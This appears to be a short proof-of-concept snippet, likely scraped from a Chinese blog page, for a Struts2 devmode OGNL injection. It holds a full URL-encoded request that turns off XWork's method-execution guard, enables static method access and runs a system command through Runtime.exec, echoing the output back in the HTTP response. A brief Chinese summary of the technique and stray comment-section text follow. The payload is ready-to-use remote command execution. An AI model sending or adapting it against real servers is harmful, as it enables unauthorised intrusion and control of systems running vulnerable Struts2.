poc
http://192.168.100.23:8080/devmode.action?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()

详细细节:
https://blog.csdn.net/baidu_38844729/article/details/103069836
该博客详细介绍了如何通过PoC(Proof of Concept)技术,利用XWork框架的漏洞绕过方法执行限制,从而动态执行系统命令。文章展示了如何修改配置并利用Runtime类获取系统输入流,以达到执行ls命令并输出结果到响应流的过程。
1806

被折叠的 条评论
为什么被折叠?



